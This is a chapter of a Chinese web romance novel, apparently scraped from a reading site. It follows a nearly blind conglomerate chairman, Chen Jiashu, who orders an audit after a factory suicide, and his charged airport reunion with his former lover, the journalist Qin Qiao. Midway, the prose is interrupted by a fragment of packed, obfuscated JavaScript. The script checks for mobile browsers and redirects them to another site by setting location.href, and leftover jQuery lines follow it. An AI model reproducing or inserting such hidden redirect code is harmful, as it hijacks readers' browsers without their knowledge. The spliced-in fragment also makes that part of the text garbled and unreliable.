东亭厂事故发生的第三天,陈嘉树就这件事开了第二次会议,会议围绕东亭厂区那对父子跳楼之后集团的应对方。
会议结束,其他人鱼贯而出,会议室里只剩陈嘉树和田佳悦。
陈嘉树习惯性地揉着太阳穴,眉头微蹙,他偏头对田佳悦说:“公关部你多跑几趟。”
田佳悦新闻学研究生毕业,进集团后曾在公关部待过两年,之后被提拔到董秘位置。
“我知道了。”田佳悦合上文件,回视陈嘉树,再次留意到他发青的眼睑,抿了抿唇,道,“哥,这种事情企业中不少发生,只要处理得当,对集团不会有很大的影响。”
陈嘉树放下手,修长匀称的指骨压在文件上:“工人在行政楼跳楼,绝不是临时起意,更不会毫无缘由。他们选择用这种方式结束生命,一定是走投无路了……”
“大型企业层级复杂,底下人想瞒,上面确实很难事事洞察。”田佳悦斟酌措辞后道:“蚂蚁躲在石头缝里啃地基的时候,大象确实看不见。”
陈嘉树倏然起身,他拿起一边的盲杖,拉开椅子,绕开会议桌,走到落地窗前,田佳悦夹着文件走跟过来,停在在他身后。
堆积的铅色云层,豁然打开一条蜿蜒的缝隙,金灿灿的光线穿透玻璃照在男人身上,为他镀上一层薄薄的淡金色。
修长脖颈上可见浅淡的青色筋络,微凸的喉结仿佛嶙峋山峰。山峰微微起伏,那道低沉的声从喉头溢出,“查吧,你立刻带队审计去东亭,我要精确到每一笔加班费。”
乔树集团在国内共建了三个厂区,澜川本地总厂职员近万人,另外两个厂区分别在F市和Z市,上月交上来的报表统计出两个厂职员一万五千人,这还不包括全国八百多家直营门店。
田佳悦有时候都为哥哥感到累,去年年初一,他们去他那儿吃晚饭,那时候爽哥还在,两人歪在沙发搂肩碰杯。
哥哥醉言醉语道:“那时候,就想发个小财,然后娶……娶心爱的女人,后来生意越做越大,起初……还沾沾自喜,不用再去陪酒陪笑,慢慢地压力越来越大,这时候想收手,忽然发现已停不下来……就好像背后有双手推着往前,只能硬着头皮往前走……”
张爽一巴掌拍在他肩上,笑骂:“别在老子面前装深沉,前阵子利骅老总在社交平台写了近千字的心路历程、感到压力山大,网友怎么说的,‘钱压的’,你也想上热搜?”
很少见哥哥失态,但在这个挚友面前,就像十七八岁的男孩,畅所欲言,哥哥还常常被他得话噎的哑口无言。但在挚友走后,哥哥整个人也失去了活人气,再没有真真正正的开心过。
“咳咳……”
克制低沉的咳嗽声将田佳悦从回忆里拉回,她侧眸。
陈嘉树握拳掩唇,咳了几声才止住,脸色有些发白。
“感冒了吗?”
“喉咙有些发痒,不碍事。”
*
楚语桐这次带儿子来澜川纯属是无聊来打发时间。
实验室刚完成一个大项目,领导一高兴给她批了半个月的假,上班的时候想休息,休息的时候虽不想上班但挺没劲的。
儿子呢,班级里爆发手足口,放假一周,于是她一合计就把他一块给带了过来。
只是覃乔忙的没空搭理他们,两人聊天时间仅剩暖被窝时,楚语桐又是个闲不住的人,第二天带着孩子们,保姆以及杨阿姨一块去游乐园玩了一趟。
到了第三天,覃乔说是下午要出公差,去一千多公里外的F市下的某个小镇,做跟踪采访。
好像是什么人跳楼身亡了,她实在犯困也没听明白。
下午,楚语桐带着儿子来机场送覃乔。
两人依依不舍地告别,楚语桐泪意上涌哽咽着说:“下次你来看我,知道吗?”
覃乔连连点头,嘱咐她一定照顾好自己。如此感人的画面,楚一行却冷酷地吐出两个字,“肉麻。”
窗外,一架飞机在停机坪上滑行得越来越快,机头昂起之后整个机身脱离地面,且越升越高,不多久就没入了淡蓝色的天际中。
背后传来开门声,覃乔的思绪因那一声“咚”倏然抽回。
紧接着手杖点地声混着沉稳的脚步声,一声接着一声,贵宾室里本就空荡荡,从而显得这道声像黑暗中空无一人的房子突然响起玻璃珠弹发出的脆响,拉扯着她头皮上的某条神经。
事实上还有另一种女性很优雅的高跟鞋踩地声音,只是她最先给忽略了,难道说是楚语桐提的那位带孩子的女性朋友?
下一秒她的猜想被推翻。
“陈先生您搭乘的MU517航班已安排独立安检通道,预计14:20分登机通道开启。”
是空乘小姐。
覃乔依然没有回头,抱臂环胸,平静地望着窗外第二架正在滑行的飞机。
盲杖声停在她身后不远,窸窸窣窣的衣料摩擦和皮椅陷下去轻微动静告诉她,他坐到了沙发上。
在她还在猜测陈嘉树是不是一人出行时,他的助理进门:“陈董,资料都带上了。”气还没喘匀显然是忘了什么,跑回去拿再跑回来。
门外响起候机大厅航班即将登机的提醒,这道声落下,陈嘉树在沙发上扭身,跟着沙哑微沉地声音响起:
“覃主播,从我踏进门时起我就在想,原来最远的距离,不是隔山隔海,而是明明听得见呼吸,却装作陌生人。”
语调沉在怅然与伤感之间,看似随口一提,却像烧红的细针在她心脏某处戳了一下,刺疼感让她的身体本能地抖了抖。
*
陈嘉树是曾经镌刻进她生命中的人。那时的他,清冷、凛冽、孤绝,仿佛冰川,拒绝一切温度的靠近,却也有一颗善良、赤城、炽烈的心。
初见陈嘉树是在烟雾弥漫的网吧,彼时他是电器维修店店主,他的出现仿佛是和周遭背景分裂出来的图层,吸引了她所有的目光。
硬朗分明的轮廓,眉骨高挺,双眼皮皱褶窄而深,尤其那双曜石般深邃明亮的眼睛,灯光在他身上镀出一层淡黄,却没削弱他自带的生人勿进的疏离感。
那时她还是名大二学生。
“好了。”
陈嘉树抬手双手递出她的身份证。
清凌凌的嗓音,微微凉,偏低哑,像中提琴低音弦略带沙哑的磁性,即使再嘈杂的环境下仍掩不住特质。
这是第二次见面,陈嘉树替网吧的收银员接待了几名顾客而她便是其中之一,还是萍水相逢。
但缘分不就是这样,一旦起了头,便是一而再再而三的相逢。
.......
睡梦中,覃乔明显感到什么东西轻轻敷在她的身上,接着是淡淡的暖意夹杂好闻的香气,她抬手,摸到细软的料子,这是一条薄毯。
睁开疲惫的双眼,模糊的视线中,覃乔看到一抹纯黑色衣角从眼角掠过去。
——陈嘉树。
没做其他猜测,第一反应便是他。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15977809|177884||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>与陈嘉树每次见面都是匆匆,而那日他说出那句“乔乔,再给我一次机会。”之后两人又走了一段路,全程再无对话,庆幸这时候一通电话进来,仿佛一场及时雨,她挂断电话,体面地转身离去。
刚才休息室里,陈嘉树那看似随口一提,其中的酸涩如同涨潮的海水几乎将她卷入浪头中,她明知道他如今的视力,所以见面也当作不识,不就是欺负他看不清。
念及此,覃乔内心升起愧疚,抬手招来空乘小姐。空乘俯身时,她以手掩唇低声说:“麻烦给我身后那位先生准备一杯热美式,要配黄糖块。”
那是陈嘉树的小癖好,曾经她还打趣过他:
“陈总,喝美式的人不会加糖,你实在觉得苦,不如点焦糖?”
“怕苦和喜欢醇厚冲突吗?”他真诚发问。
“你这不是.......”她思索一下,“没苦硬吃。”
陈嘉树扑哧笑出声:“速溶咖啡喝多了,现在反倒觉得苦点才像真的。”他握住她的手,扬起下巴:“不是硬吃,是有些味道,得慢慢习惯。”
后来,美式配黄糖终究成了他的标配。
一杯温热香味浓郁的咖啡放在那块实木折叠桌上。浓郁好闻的咖啡香气吸入鼻腔,陈嘉树低头看着这只骨瓷白杯,唇畔浅露笑纹。
空乘:“先生,这是前排女士为您点的热美式,配了黄糖。她说希望您旅途愉快。”
陈嘉树:“帮我感谢这位女士,她的心意我收到了,”握住杯耳,他故意抬高嗓音,“此外,甘苦照旧,承蒙惦记。”
咖啡见底,旅程也到了目的地,待商务舱内乘客走尽,陈嘉树才打开盲杖起身,旁边的叶特助拿起公文包,走在前面引路。
“陈董。”
覃乔还没走,在陈嘉树经过自己座位旁时,鬼使神差地叫住他。
陈嘉树侧转身,她站着。
“您的......”覃乔攥着公文包带的手松了紧,紧了松。
“先下机,我再与你说。”
覃乔与陈嘉树一前一后走下飞机,然后在出站口的长廊上同步地停下脚步。
这条空中长廊悬在机场两座航站楼之间,像一座透明的桥梁,连接着两栋巨大的玻璃钢结构建筑。
左边望去,停机坪上飞机起落,银翼在阳光下闪烁如游动的鱼;右侧则是机场的环线道路,出租车、巴士和私家车在车流中停停走走。
覃乔遥望远处,不是没感觉到陈嘉树盯在她脸上的沉沉目光。
他终于出声,自带沙哑:“右眼视力在0.04,一米内我能看见你,大致的轮廓,发型、衣服颜色......上次你涂了红色唇膏就很生动。”
男人的语调轻松,甚至有带几分自我调侃的幽默。
说罢,陈嘉树转身,覃乔一愣后也跟着转身。
两人面对面,三步之遥。
覃乔下意识地攥紧公文包,这种小动作,陈嘉树自然不会发现,可她懊恼这种不自禁的动作正如她烦躁自己一见到陈嘉树内心便像起了海潮。
心烦意乱中不经意地与他目光接触,他轻轻弯起唇角:“若想看清你的眼睛、鼻子,可能还需近一点。”
同时他上前一步,两人之间仅剩两步。
覃乔怔了怔,右手虚抬一下,掌心向他,温声制止:
“陈董。”
右脚落回原地,陈嘉树眼底卧着温柔的笑意,轻轻吐出一个字,“好。”
他们来日方长。